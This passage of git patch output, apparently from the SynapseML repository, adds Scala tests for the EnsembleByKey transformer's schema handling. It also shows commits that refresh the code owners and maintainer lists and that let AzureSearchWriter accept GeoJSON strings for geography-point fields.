spark.createDataFrame(Seq(("a", 1.0), ("a", 3.0))) + .toDF("nestedKey", "score") + .select(struct(col("nestedKey").alias("key")).alias("nested"), col("score")) + + Seq(true, false).foreach { collapseGroup => + val transformer = new EnsembleByKey() + .setKey("nested.key").setCol("score").setCollapseGroup(collapseGroup) + val transformedSchema = transformer.transformSchema(nestedInput.schema) + val transformed = transformer.transform(nestedInput) + + assert(transformedSchema === transformed.schema) + assert(transformed.schema.fieldNames.head === "key") + assert(transformed.select("mean(score)").head().getDouble(0) === 2.0) + } + + val dottedInput = spark.createDataFrame(Seq(("a", 1.0), ("a", 3.0))).toDF("a.b", "score") + val dottedTransformer = new EnsembleByKey().setKey("`a.b`").setCol("score") + + assert(dottedTransformer.transformSchema(dottedInput.schema) === dottedTransformer.transform(dottedInput).schema) + } + + test("nested key nullability should include nullable ancestor structs") { + val inputSchema = StructType(Array( + StructField( + "nested", + StructType(Array(StructField("key", StringType, nullable = false))), + nullable = true), + StructField("score", DoubleType, nullable = false))) + val rows = java.util.Arrays.asList( + Row(Row("a"), 1.0), + Row(Row("a"), 3.0)) + val input = spark.createDataFrame(rows, inputSchema) + + Seq(true, false).foreach { collapseGroup => + val transformer = new EnsembleByKey() + .setKey("nested.key").setCol("score").setCollapseGroup(collapseGroup) + val transformedSchema = transformer.transformSchema(input.schema) + val actualSchema = transformer.transform(input).schema + + assert(transformedSchema === actualSchema) + assert(actualSchema("key").nullable) + } + } + + test("non-collapsed nested keys should reject unsafe leaf-name collisions") { + val collisionInput = spark.createDataFrame(Seq(("row-1", "group", 1.0))) + .toDF("id", "nestedId", "score") + .select(col("id"), struct(col("nestedId").alias("id")).alias("meta"), col("score")) + val collisionTransformer = new EnsembleByKey() + .setKey("meta.id").setCol("score").setCollapseGroup(false) + + assertConsistentSchemaError( + collisionTransformer, collisionInput, "ambiguous between a nested field and a dataset qualifier") + + val duplicateInput = spark.createDataFrame(Seq(("left", "right", 1.0))) + .toDF("leftKey", "rightKey", "score") + .select( + struct(col("leftKey").alias("key")).alias("left"), + struct(col("rightKey").alias("key")).alias("right"), + col("score")) + val duplicateTransformer = new EnsembleByKey() + .setKeys("left.key", "right.key").setCol("score").setCollapseGroup(false) + + assertConsistentSchemaError(duplicateTransformer, duplicateInput, "must resolve to distinct output columns") + } + + test("non-collapsed duplicate grouping keys should fail consistently") { + Seq("true", "false").foreach { retainGroupColumns => + withSQLConf("spark.sql.retainGroupColumns", retainGroupColumns) { + val transformer = new EnsembleByKey() + .setKeys("group", "group").setCol("doubleScore").setCollapseGroup(false) + + assertConsistentSchemaError( + transformer, + mixedTypeDF, + "must resolve to distinct output columns") + } + } + + val collapsed = new EnsembleByKey() + .setKeys("group", "group").setCol("doubleScore").setCollapseGroup(true) + assert(collapsed.transformSchema(mixedTypeDF.schema) === collapsed.transform(mixedTypeDF).schema) + } + + test("nested keys should preserve unreferenced duplicate top-level columns") { + val input = spark.createDataFrame(Seq(("group", 1.0, 10.0))) + .toDF("key", "score", "duplicate") + .select( + struct(col("key").alias("value")).alias("nested"), + col("score"), + col("duplicate").alias("duplicate"), + col("duplicate").alias("duplicate")) + val transformer = new EnsembleByKey() + .setKey("nested.value").setCol("score").setCollapseGroup(false) + + val transformed = transformer.transform(input) + assert(transformer.transformSchema(input.schema) === transformed.schema) + assert(transformed.schema.fieldNames === + Array("value", "nested", "score", "duplicate", "duplicate", "mean(score)")) + } + + test("quoted field references should ignore quoted-regex column settings") { + withSQLConf("spark.sql.parser.quotedRegexColumnNames", "true") { + val keyInput = spark.createDataFrame(Seq(("a", 1.0), ("a", 3.0))).toDF("a.b", "score") + val keyTransformer = new EnsembleByKey().setKey("`a.b`").setCol("score") + assert(keyTransformer.transformSchema(keyInput.schema) === keyTransformer.transform(keyInput).schema) + + val colInput = spark.createDataFrame(Seq(("group", 1.0), ("group", 3.0))).toDF("group", "s.c") + val colTransformer = new EnsembleByKey().setKey("group").setCol("`s.c`") + assert(colTransformer.transformSchema(colInput.schema) === colTransformer.transform(colInput).schema) + } + } + + test("literal dotted aggregate columns should require Spark quoting") { + val input = spark.createDataFrame(Seq(("group", 1.0), ("group", 3.0))).toDF("group", "s.c") + val quotedTransformer = new EnsembleByKey().setKey("group").setCol("`s.c`") + + assert(quotedTransformer.transformSchema(input.schema) === quotedTransformer.transform(input).schema) + + val plainTransformer = new EnsembleByKey().setKey("group").setCol("s.c") + assertConsistentSchemaError(plainTransformer, input, "s.c does not exist") + } + + test("qualified and collection field references should match Spark resolution") { + val qualifiedInput = mixedTypeDF.as("source") + val qualifiedTransformer = new EnsembleByKey().setKey("source.group").setCol("doubleScore") + assert(qualifiedTransformer.transformSchema(qualifiedInput.schema) === + qualifiedTransformer.transform(qualifiedInput).schema) + + val collectionBase = spark.createDataFrame(Seq(("group", 1.0))).toDF("key", "score") + val arrayInput = collectionBase.select( + array(struct(col("key").alias("field"))).alias("items"), + col("score")) + val arrayTransformer = new EnsembleByKey().setKey("items.field").setCol("score") + val arrayResult = arrayTransformer.transform(arrayInput) + assert(arrayTransformer.transformSchema(arrayInput.schema) === arrayResult.schema) + assert(arrayResult.collect().head.getSeq[String](0) === Seq("group")) + + val nullableArrayInput = collectionBase.select( + array(struct(expr("CAST(NULL AS STRING)").alias("field"))).alias("items"), + col("score")) + val nullableArrayTransformer = new EnsembleByKey().setKey("items.field").setCol("score") + val nullableArrayResult = nullableArrayTransformer.transform(nullableArrayInput) + assert(nullableArrayTransformer.transformSchema(nullableArrayInput.schema) === nullableArrayResult.schema) + assert(Option(nullableArrayResult.collect().head.getSeq[String](0).head).isEmpty) + + val mapInput = collectionBase.select( + map(lit("field"), col("key")).alias("values"), + col("score")) + val mapTransformer = new EnsembleByKey().setKey("values.field").setCol("score") + assert(mapTransformer.transformSchema(mapInput.schema) === mapTransformer.transform(mapInput).schema) + + val invalidMapInput = collectionBase.select( + map(struct(lit(1).alias("part")), col("key")).alias("values"), + col("score")) + val invalidMapTransformer = new EnsembleByKey().setKey("values.field").setCol("score") + assertConsistentSchemaError(invalidMapTransformer, invalidMapInput, "does not accept string keys") + } + + test("map key extraction should follow Spark cast coercion") { + val base = spark.createDataFrame(Seq(("group", 1.0), ("group", 3.0))).toDF("key", "score") + Seq( + "values.true" -> map(lit(true), col("key")), + "values.field" -> map(lit("field").cast("binary"), col("key")), + "values.1" -> map(lit(1), col("key")), + "values.2020-01-01" -> map(lit("2020-01-01").cast("date"), col("key")) + ).foreach { case (reference, values) => + val input = base.select(values.alias("values"), col("score")) + val transformed = assertSchemaAgrees(new EnsembleByKey().setKey(reference).setCol("score"), input) + withClue(s"$reference: ") { + assert(transformed.head().getString(0) === "group") + assert(transformed.select("mean(score)").head().getDouble(0) === 2.0) + } + } + } + + test("map keys Spark cannot order should be rejected consistently") { + val base = spark.createDataFrame(Seq(("group", 1.0), ("group", 3.0))).toDF("key", "score") + val input = base.select( + map(expr("make_interval(0, 0, 0, 1, 0, 0, 0)"), col("key")).alias("values"), + col("score")) + val keyType = input.schema("values").dataType.asInstanceOf[MapType].keyType + + assert(keyType === CalendarIntervalType) + assert(Cast.canCast(StringType, keyType), "the key type is castable from a string literal") + assert(!RowOrdering.isOrderable(keyType), "the key type is not orderable, so GetMapValue fails") + intercept[AnalysisException](input.select(expr("values[make_interval(0, 0, 0, 1, 0, 0, 0)]")).schema) + + val transformer = new EnsembleByKey().setKey("values.1 days").setCol("score") + assertConsistentSchemaError(transformer, input, "map key type CalendarIntervalType is not orderable") + assertConsistentSchemaError(transformer, input, "Use a map column whose key type is orderable") + } + + test("extracted grouping values Spark cannot order should be rejected consistently") { + val input = spark.range(1).select( + map(lit("outer"), map(lit("inner"), lit(1))).alias("values"), + lit(1.0).alias("score")) + val transformer = new EnsembleByKey().setKey("values.outer").setCol("score") + + assertConsistentSchemaError(transformer, input, "Spark cannot use as a grouping key") + } + + test("map extraction should reject dataset qualifier collisions") { + val input = spark.createDataFrame(Seq(("group", 1.0))) + .toDF("key", "score") + .select(map(lit("field"), col("score")).alias("values"), col("score"), col("key").alias("field")) + .as("values") + val transformer = new EnsembleByKey().setKey("values.field").setCol("score") + + assertConsistentSchemaError(transformer, input, "ambiguous between a nested field and a dataset qualifier") + } + + test("nested key output names should preserve configured casing") { + val input = spark.createDataFrame(Seq(("group", 1.0))) + .toDF("key", "score") + .select(struct(col("key").alias("Key")).alias("nested"), col("score")) + val transformer = new EnsembleByKey().setKey("nested.key").setCol("score") + + assert(transformer.transformSchema(input.schema) === transformer.transform(input).schema) + assert(transformer.transform(input).schema.fieldNames.head === "key") + } + + test("qualified references should preserve qualifier identity") { + val left = spark.createDataFrame(Seq((1, "left", 1.0))).toDF("id", "group", "score").as("left") + val right = spark.createDataFrame(Seq((1, "right"))).toDF("id", "group").as("right") + val joined = left.join(right, Seq("id")) + + Seq("left", "right").foreach { qualifier => + val transformer = new EnsembleByKey().setKey(s"$qualifier.group").setCol("score") + withClue(s"$qualifier: ") { + assert(assertSchemaAgrees(transformer, joined).head().getString(0) === qualifier) + } + } + + assertConsistentSchemaError( + new EnsembleByKey().setKey("right.group").setCol("score").setCollapseGroup(false), + joined, + "multiple columns are named group when collapseGroup is false") + + val invalidQualifier = new EnsembleByKey().setKey("wrong.group").setCol("score") + assert(invalidQualifier.transformSchema(joined.schema).fieldNames === Array("group", "mean(score)")) + val error = intercept[IllegalArgumentException](invalidQualifier.transform(joined)) + assert(error.getMessage.contains("does not match a dataset qualifier")) + } + + test("non-collapsed qualified references should preserve unrelated duplicates") { + val left = spark.createDataFrame(Seq((1, "group", 1.0))).toDF("id", "group", "score").as("left") + val right = spark.createDataFrame(Seq((1, 2.0))).toDF("id", "score").as("right") + val joined = left.join(right, Seq("id")) + val transformer = new EnsembleByKey() + .setKey("left.group").setCol("left.score") + .setColName("average").setCollapseGroup(false) + val transformed = assertSchemaAgrees(transformer, joined) + + assert(transformed.schema.fieldNames === Array("group", "id", "score", "score", "average")) + assert(transformed.head().getDouble(4) === 1.0) + } + + test("qualified aggregates should compare derived aggregate outputs") { + val left = spark.createDataFrame(Seq((1, "group", 1.0), (2, "group", 3.0))) + .toDF("id", "group", "score").as("left") + val right = spark.createDataFrame(Seq((1, 5.0))).toDF("id", "score").as("right") + val joined = left.join(right, Seq("id"), "left_outer") + assert(joined.schema.fields.filter(_.name == "score").map(_.nullable) === Array(false, true)) + + Seq("left.score" -> 2.0, "right.score" -> 5.0).foreach { case (reference, expected) => + val transformed = assertSchemaAgrees(new EnsembleByKey().setKey("group").setCol(reference), joined) + withClue(s"$reference: ") { + assert(transformed.schema.last === StructField(s"mean($reference)", DoubleType)) + assert(transformed.head().getDouble(1) === expected) + } + } + + assertConsistentSchemaError( + new EnsembleByKey().setKey("right.score").setCol("left.score"), + joined, + "incompatible declared outputs") + + val nestedLeft = spark.createDataFrame(Seq((1, 1.0), (1, 3.0))).toDF("id", "value") + .select(col("id"), struct(col("value")).alias("s")).as("left") + val nestedRight = spark.createDataFrame(Seq((1, 5.0f))).toDF("id", "value") + .select(col("id"), struct(col("value")).alias("s")).as("right") + val nested = assertSchemaAgrees( + new EnsembleByKey().setKey("id").setCol("right.s.value"), + nestedLeft.join(nestedRight, Seq("id"))) + assert(nested.schema.last === StructField("mean(right.s.value)", DoubleType)) + assert(nested.head().getDouble(1) === 5.0) + + val stringRight = spark.createDataFrame(Seq((1, "5"))).toDF("id", "value") + .select(col("id"), struct(col("value")).alias("s")).as("right") + assertConsistentSchemaError( + new EnsembleByKey().setKey("id").setCol("right.s.value"), + nestedLeft.join(stringRight, Seq("id")), + "incompatible declared outputs") + } + + test("multipart qualifiers should agree with schema-only interpretations") { + val base = spark.createDataFrame(Seq(("top", "nested", 1.0), ("top", "nested", 3.0))) + .toDF("group", "nestedGroup", "score") + val viewName = s"ensembleView${System.nanoTime()}" + val input = base.select( + col("group"), struct(col("nestedGroup").alias("group")).alias(viewName), col("score")) + val transformer = new EnsembleByKey().setKey(s"global_temp.$viewName.group").setCol("score") + + assert(assertSchemaAgrees(transformer, input.as("global_temp")).head().getString(0) === "nested") + + input.createOrReplaceGlobalTempView(viewName) + try { + val view = spark.table(s"global_temp.$viewName") + assert(assertSchemaAgrees(transformer, view).head().getString(0) === "top") + } finally { + spark.catalog.dropGlobalTempView(viewName) + } + + val conflicting = base.select( + col("score").alias("group"), + struct(col("nestedGroup").alias("group")).alias("view"), + col("score")) + assertConsistentSchemaError( + new EnsembleByKey().setKey("global_temp.view.group").setCol("score"), + conflicting, + "ambiguous between a nested field and a dataset qualifier") + } + + test("schema and runtime should reject invalid column configurations") { + val invalidConfigurations = Seq( + new EnsembleByKey().setCol("doubleScore") -> "keys must be set and non-empty", + new EnsembleByKey().setKeys(Array.empty[String]).setCol("doubleScore") -> + "keys must be set and non-empty", + new EnsembleByKey().setKey("group") -> "cols must be set and non-empty", + new EnsembleByKey().setKey("group").setCols(Array.empty[String]) -> + "cols must be set and non-empty", + new EnsembleByKey().setKey("missingKey").setCol("doubleScore") -> "missingKey does not exist", + new EnsembleByKey().setKey("group").setCol("missingCol") -> "missingCol does not exist", + new EnsembleByKey().setKey("group").setCols("doubleScore", "floatScore") + .setColName("average") -> "must have the same length", + new EnsembleByKey().setKey("group").setCol("doubleScore").setColName("GROUP") + .setCollapseGroup(false) -> "cannot overwrite grouping keys" + ) + + invalidConfigurations.foreach { case (transformer, expectedMessage) => + assertConsistentSchemaError(transformer, mixedTypeDF, expectedMessage) + } + + withCaseSensitiveAnalysis(false) { + val ambiguousInput = spark.createDataFrame(Seq(("lower", "upper", 1.0))) + .toDF("group", "GROUP", "score") + val keyTransformer = new EnsembleByKey().setKey("group").setCol("score") + assert(keyTransformer.transformSchema(ambiguousInput.schema).fieldNames === + Array("group", "mean(score)")) + val error = intercept[IllegalArgumentException](keyTransformer.transform(ambiguousInput)) + assert(error.getMessage.contains("group is ambiguous")) + + val ambiguousAggregateInput = spark.createDataFrame(Seq(("group", 1.0, 2.0))) + .toDF("group", "score", "SCORE") + val aggregateTransformer = new EnsembleByKey().setKey("group").setCol("score") + assert(aggregateTransformer.transformSchema(ambiguousAggregateInput.schema).fieldNames === + Array("group", "mean(score)")) + val aggregateError = + intercept[IllegalArgumentException](aggregateTransformer.transform(ambiguousAggregateInput)) + assert(aggregateError.getMessage.contains("score is ambiguous")) + } + } + + test("transformSchema should reject unsupported aggregate types") { + val input = spark.createDataFrame(Seq(("foo", 1))).toDF("group", "score") + val transformer = new EnsembleByKey().setKey("group").setCol("score") + + val error = intercept[IllegalArgumentException] { + transformer.transformSchema(input.schema) + } + + assert(error.getMessage === "Cannot operate on type IntegerType with strategy mean") + } + lazy val testDF: DataFrame = { val initialTestDF = spark.createDataFrame( Seq((0, "foo", 1.0, .1), @@ -64,6 +686,19 @@ class EnsembleByKeySuite extends TestBase with TransformerFuzzing[EnsembleByKey] .setOutputCol("v1").transform(initialTestDF) } + lazy val mixedTypeDF: DataFrame = { + val initialTestDF = spark.createDataFrame( + Seq((0, "west", "foo", 1.0, 1.0f, 1.0, 0.1), + (1, "east", "bar", 4.0, 4.0f, 4.0, -2.0), + (2, "east", "bar", 0.0, 0.0f, 0.0, -3.0))) + .toDF("id", "region", "group", "doubleScore", "floatScore", "component1", "component2") + + new VectorAssembler() + .setInputCols(Array("component1", "component2")) + .setOutputCol("features") + .transform(initialTestDF) + } + lazy val testModel: EnsembleByKey = new EnsembleByKey().setKey("label1").setCol("score1") .setCollapseGroup(false).setVectorDims(Map("v1"->2)) @@ -98,4 +733,45 @@ class EnsembleByKeySuite extends TestBase with TransformerFuzzing[EnsembleByKey] def testObjects(): Seq[TestObject[EnsembleByKey]] = Seq(new TestObject(testModel, testDF)) def reader: EnsembleByKey.type = EnsembleByKey + + private def withCaseSensitiveAnalysis[T](value: Boolean)(action: => T): T = { + withSQLConf("spark.sql.caseSensitive", value.toString)(action) + } + + private def withSQLConf[T](configName: String, value: String)(action: => T): T = { + val previousValue = spark.conf.get(configName) + spark.conf.set(configName, value) + try action finally spark.conf.set(configName, previousValue) + } + + private def withActiveSession[T](session: SparkSession)(action: => T): T = { + val previousSession = SparkSession.getActiveSession + SparkSession.setActiveSession(session) + try action finally { + previousSession.fold(SparkSession.clearActiveSession())(SparkSession.setActiveSession) + } + } + + private def withoutActiveSession[T](action: => T): T = { + val previousSession = SparkSession.getActiveSession + SparkSession.clearActiveSession() + try action finally previousSession.foreach(SparkSession.setActiveSession) + } + + private def assertSchemaAgrees(transformer: EnsembleByKey, input: DataFrame): DataFrame = { + val transformed = transformer.transform(input) + assert(transformer.transformSchema(input.schema) === transformed.schema) + transformed + } + + private def assertConsistentSchemaError( + transformer: EnsembleByKey, + input: DataFrame, + expectedMessage: String + ): Unit = { + val schemaError = intercept[IllegalArgumentException](transformer.transformSchema(input.schema)) + val transformError = intercept[IllegalArgumentException](transformer.transform(input)) + assert(schemaError.getMessage.contains(expectedMessage)) + assert(transformError.getMessage.contains(expectedMessage)) + } } From c57040774a7933092579d1b61a7f16092bddc8e6 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Tue, 11 Aug 2026 17:14:43 -0700 Subject: [PATCH 45/93] chore: remove inactive code owners and refresh maintainer listings (#2623) --- .github/workflows/ado-integration.yml | 2 +- CODEOWNERS | 27 +-------------------------- sonatype.sbt | 14 ++++++-------- 3 files changed, 8 insertions(+), 35 deletions(-) diff --git a/.github/workflows/ado-integration.yml b/.github/workflows/ado-integration.yml index 11a485d71fe..f4fbf658884 100644 --- a/.github/workflows/ado-integration.yml +++ b/.github/workflows/ado-integration.yml @@ -9,7 +9,7 @@ jobs: alert: runs-on: ubuntu-latest steps: - - uses: mhamilton723/github-actions-issue-to-work-item@master + - uses: danhellem/github-actions-issue-to-work-item@8d0ead9b49a65aa66dac6949b1ff149d7ef8b4de # v2.5 env: ado_token: "${{ secrets.ADO_PERSONAL_ACCESS_TOKEN }}" github_token: "${{ secrets.GH_PERSONAL_ACCESS_TOKEN }}" diff --git a/CODEOWNERS b/CODEOWNERS index 6153356e53d..c5a20102ec1 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -1,35 +1,10 @@ # For general updates to the library -* @mhamilton723 @drdarshan - -# Ilya's Areas -lightgbm/ @imatiach-msft -automl/ @imatiach-msft -featurize/ @imatiach-msft -featurize/text/ @mhamilton723 -train/ @imatiach-msft - -# Dan's Areas -recommendation/ @dciborow -recommendation/ @miguelgfierro -recommendation/ @gramhagen - -# Dalitso's Areas -tools/helm/ @dbanda +* @ranadeepsingh @BrendanWalsh # Markus' Areas vw/ @eisber isolationforest/ @eisber recommendation/ @eisber -#Roy's Areas -cyber/ @rolevin - -#Jason's Areas -explainers/ @memoryz - -#Serena's Areas -website/ @serena-ruan -core/src/main/scala/com/microsoft/azure/synapse/ml/codegen @serena-ruan - # Scott's Areas lightgbm/ @svotaw diff --git a/sonatype.sbt b/sonatype.sbt index d49d82c6dbd..96d2d809cbe 100644 --- a/sonatype.sbt +++ b/sonatype.sbt @@ -10,16 +10,14 @@ ThisBuild / scmInfo := Some( ) ) ThisBuild / developers := List( - Developer("mhamilton723", "Mark Hamilton", - "synapseml-support@microsoft.com", url("https://github.com/mhamilton723")), - Developer("imatiach-msft", "Ilya Matiach", - "synapseml-support@microsoft.com", url("https://github.com/imatiach-msft")), - Developer("drdarshan", "Sudarshan Raghunathan", - "synapseml-support@microsoft.com", url("https://github.com/drdarshan")), - Developer("svotaw", "Scott Votaw", - "synapseml-support@microsoft.com", url("https://github.com/svotaw")), + Developer("ranadeepsingh", "Rana Singh", + "synapseml-support@microsoft.com", url("https://github.com/ranadeepsingh")), Developer("BrendanWalsh", "Brendan Walsh", "synapseml-support@microsoft.com", url("https://github.com/BrendanWalsh")), + Developer("svotaw", "Scott Votaw", + "synapseml-support@microsoft.com", url("https://github.com/svotaw")), + Developer("eisber", "Markus Cozowicz", + "synapseml-support@microsoft.com", url("https://github.com/eisber")), Developer("JessicaXYWang", "Jessica Wang", "synapseml-support@microsoft.com", url("https://github.com/JessicaXYWang")) ) From 1277b493c2e592d789af6a2ed9c3545d807bc991 Mon Sep 17 00:00:00 2001 From: HCL <93464148+chon3806@users.noreply.github.com> Date: Wed, 12 Aug 2026 13:48:16 -0400 Subject: [PATCH 46/93] fix: accept GeoJSON strings for Edm.GeographyPoint in AzureSearchWriter (#2556) Co-authored-by: Ranadeep Singh --- .../ml/services/search/AzureSearch.scala | 85 +++++++- .../split2/SearchWriterSuitePart2.scala | 193 ++++++++++++++++++ 2 files changed, 273 insertions(+), 5 deletions(-) diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala index 7535e170068..15dfaf98d9f 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearch.scala @@ -20,7 +20,8 @@ import org.apache.spark.ml.util._ import org.apache.spark.ml.{ComplexParamsReadable, NamespaceInjections, PipelineModel} import org.apache.spark.ml.linalg.SQLDataTypes.VectorType import org.apache.spark.ml.functions.vector_to_array -import org.apache.spark.sql.functions.{col, expr, struct, to_json, to_utc_timestamp, date_format, when} +import org.apache.spark.sql.functions.{col, concat, expr, forall, from_json, lit, raise_error, size, + struct, to_json, to_utc_timestamp, date_format, when} import org.apache.spark.sql.streaming.DataStreamWriter import org.apache.spark.sql.types._ import org.apache.spark.sql.{DataFrame, Dataset, Row} @@ -249,6 +250,74 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging } } + /** + * Converts string columns containing GeoJSON to the proper struct shape required for + * Azure Search `Edm.GeographyPoint` fields. + * + * Azure AI Search expects spatial values to be sent as a GeoJSON object + * (e.g. `{"type":"Point","coordinates":[lon, lat]}`), not as a JSON-encoded string. + * Users frequently have their GeoJSON readily available as a string column, and + * passing it as a `StringType` previously caused a `400 Bad Request` + * (see [[https://github.com/microsoft/SynapseML/issues/2420]]) because the writer + * JSON-escaped the entire string. + * + * For each '''top-level''' field declared as `Edm.GeographyPoint` in the index, if the + * corresponding DataFrame column is a `StringType`, parse it into the canonical + * `StructType(type: StringType, coordinates: ArrayType(DoubleType))` so that downstream + * `to_json` emits a proper GeoJSON object. Columns that are already structured are + * left as-is. GeographyPoint fields nested inside complex types are not auto-converted + * (mirrors the existing top-level-only handling in `convertDateTimeToISO8601`). + * + * Parsing uses Spark's `FAILFAST` mode so malformed GeoJSON surfaces an explicit + * exception instead of being silently coerced to `null` and shipped to Azure Search. + * `FAILFAST` alone only rejects syntactically invalid JSON, so the parsed value is + * additionally validated to be a genuine GeoJSON Point (`type == "Point"` with exactly + * two non-null coordinates). Anything else raises an error naming the column and the + * offending value rather than indexing a silently-null location. NULL inputs are + * preserved as NULL. + * + * @param df DataFrame with potential GeographyPoint columns + * @param indexJson JSON string containing the index schema + * @return DataFrame with string GeographyPoint columns converted to GeoJSON structs + */ + private[ml] def convertGeographyPointToStruct(df: DataFrame, indexJson: String): DataFrame = { + // Derived from edmTypeToSparkType so the parsed shape can never drift from the type + // checkSchemaParity expects for Edm.GeographyPoint + val geoStructType = edmTypeToSparkType(GeographyPointEdmType, None) + val parseOptions = Map("mode" -> "FAILFAST") + val geoFields = parseIndexJson(indexJson).fields + .filter(_.`type` == GeographyPointEdmType) + .map(_.name) + geoFields.foldLeft(df) { (currentDF, fieldName) => + if (currentDF.columns.contains(fieldName)) { + currentDF.schema(fieldName).dataType match { + case StringType => + val parsed = from_json(col(fieldName), geoStructType, parseOptions) + val coordinates = parsed.getField("coordinates") + val isValidPoint = parsed.getField("type") === lit("Point") && + coordinates.isNotNull && + size(coordinates) === lit(GeographyPointCoordinateCount) && + forall(coordinates, c => c.isNotNull) + val invalidValueError = raise_error(concat( + lit(s"AzureSearchWriter: column '$fieldName' is mapped to an " + + s"$GeographyPointEdmType field but the value is not a valid GeoJSON Point " + + """(expected {"type":"Point","coordinates":[longitude,latitude]}). """ + + "Offending value: "), + col(fieldName))) + currentDF.withColumn(fieldName, + when(col(fieldName).isNull || isValidPoint, parsed) + .otherwise(invalidValueError.cast(geoStructType)) + ) + case _ => + // Already a struct (or otherwise compatible); checkSchemaParity will validate. + currentDF + } + } else { + currentDF + } + } + } + private def dfToIndexJson(schema: StructType, indexName: String, keyCol: String, @@ -367,17 +436,18 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging SearchIndex.createIfNoneExists(auth, serviceName, indexJson, apiVersion) } val dateConvertedDF = convertDateTimeToISO8601(preppedDF, indexJson) + val geoConvertedDF = convertGeographyPointToStruct(dateConvertedDF, indexJson) logInfo("checking schema parity") - checkSchemaParity(dateConvertedDF.schema, indexJson, actionCol) + checkSchemaParity(geoConvertedDF.schema, indexJson, actionCol) val df1 = if (filterNulls) { val collectionColumns = parseIndexJson(indexJson).fields .filter(_.`type`.startsWith("Collection")) .map(_.name) - collectionColumns.foldLeft(dateConvertedDF) { (ndf, c) => filterOutNulls(ndf, c) } + collectionColumns.foldLeft(geoConvertedDF) { (ndf, c) => filterOutNulls(ndf, c) } } else { - dateConvertedDF + geoConvertedDF } // Convert date/timestamp columns to ISO8601 strings for Azure AI Search @@ -451,6 +521,11 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging t.substring("Collection(".length).dropRight(1) } + private[ml] val GeographyPointEdmType = "Edm.GeographyPoint" + + // GeoJSON Points are always [longitude, latitude] + private[ml] val GeographyPointCoordinateCount = 2 + private[ml] def edmTypeToSparkType(dt: String, //scalastyle:ignore cyclomatic.complexity fields: Option[Seq[IndexField]]): DataType = dt match { case t if isEdmCollection(t) => @@ -462,7 +537,7 @@ object AzureSearchWriter extends IndexParser with IndexJsonGetter with SLogging case "Edm.Double" => DoubleType case "Edm.Single" => FloatType case "Edm.DateTimeOffset" => StringType // We convert date/time to ISO8601 strings - case "Edm.GeographyPoint" => + case GeographyPointEdmType => StructType(Seq( StructField("type", StringType), StructField("coordinates", ArrayType(DoubleType)) diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/SearchWriterSuitePart2.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/SearchWriterSuitePart2.scala index e24f77ae58f..dec4874cb81 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/SearchWriterSuitePart2.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/split2/SearchWriterSuitePart2.scala @@ -171,4 +171,197 @@ class SearchWriterSuite extends SearchWriterSuiteUtilities { } + test("Handle GeoJSON GeographyPoint fields supplied as strings") { + + val in = generateIndexName() + val df = spark.createDataFrame(Seq( + ("upload", "0", """{"type":"Point","coordinates":[-122.3493, 47.6205]}"""), + ("upload", "1", """{"type":"Point","coordinates":[-122.3351, 47.6080]}""") + )).toDF("searchAction", "id", "location") + + val indexJson = + s""" + |{ + | "name": "$in", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true, "searchable": true, "retrievable": true }, + | { "name": "location", "type": "Edm.GeographyPoint", "searchable": false, + | "filterable": true, "retrievable": true, "sortable": true } + | ] + |} + |""".stripMargin + + AzureSearchWriter.write(df, + Map( + "subscriptionKey" -> azureSearchKey, + "actionCol" -> "searchAction", + "serviceName" -> testServiceName, + "indexJson" -> indexJson + ) + ) + + // With fatalErrors=true (default) any 400 from Azure Search becomes a thrown + // RuntimeException, so reaching this `assertSize` proves the documents were + // accepted as valid spatial objects -- a count of 2 is only achievable if the + // GeoJSON strings were correctly parsed and serialized as GeoJSON objects. + retryWithBackoff(assertSize(in, 2)) + + } + + test("convertGeographyPointToStruct parses GeoJSON strings into structs") { + val df = spark.createDataFrame(Seq( + ("0", """{"type":"Point","coordinates":[-122.3493, 47.6205]}"""), + ("1", null) + )).toDF("id", "location") + + val indexJson = + """ + |{ + | "name": "unit-test-geo", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true }, + | { "name": "location", "type": "Edm.GeographyPoint" } + | ] + |} + |""".stripMargin + + val converted = AzureSearchWriter.convertGeographyPointToStruct(df, indexJson) + val expected = StructType(Seq( + StructField("type", StringType), + StructField("coordinates", ArrayType(DoubleType)) + )) + assert(converted.schema("location").dataType == expected) + + val rows = converted.orderBy("id").collect() + val parsed = rows.head.getStruct(rows.head.fieldIndex("location")) + assert(parsed.getString(0) == "Point") + assert(parsed.getSeq[Double](1) == Seq(-122.3493, 47.6205)) + assert(rows(1).isNullAt(rows(1).fieldIndex("location"))) + } + + test("convertGeographyPointToStruct leaves struct columns untouched") { + val schema = StructType(Seq( + StructField("id", StringType), + StructField("location", StructType(Seq( + StructField("type", StringType, nullable = false), + StructField("coordinates", ArrayType(DoubleType, containsNull = false), nullable = false) + ))) + )) + val df = spark.createDataFrame( + spark.sparkContext.parallelize(Seq(Row("0", Row("Point", Seq(-122.3493, 47.6205))))), + schema + ) + + val indexJson = + """ + |{ + | "name": "unit-test-geo", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true }, + | { "name": "location", "type": "Edm.GeographyPoint" } + | ] + |} + |""".stripMargin + + val converted = AzureSearchWriter.convertGeographyPointToStruct(df, indexJson) + assert(converted.schema("location").dataType == schema("location").dataType) + } + + test("convertGeographyPointToStruct fails fast on malformed GeoJSON instead of silently nulling") { + val df = spark.createDataFrame(Seq( + ("0", "{not valid json") + )).toDF("id", "location") + + val indexJson = + """ + |{ + | "name": "unit-test-geo", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true }, + | { "name": "location", "type": "Edm.GeographyPoint" } + | ] + |} + |""".stripMargin + + val converted = AzureSearchWriter.convertGeographyPointToStruct(df, 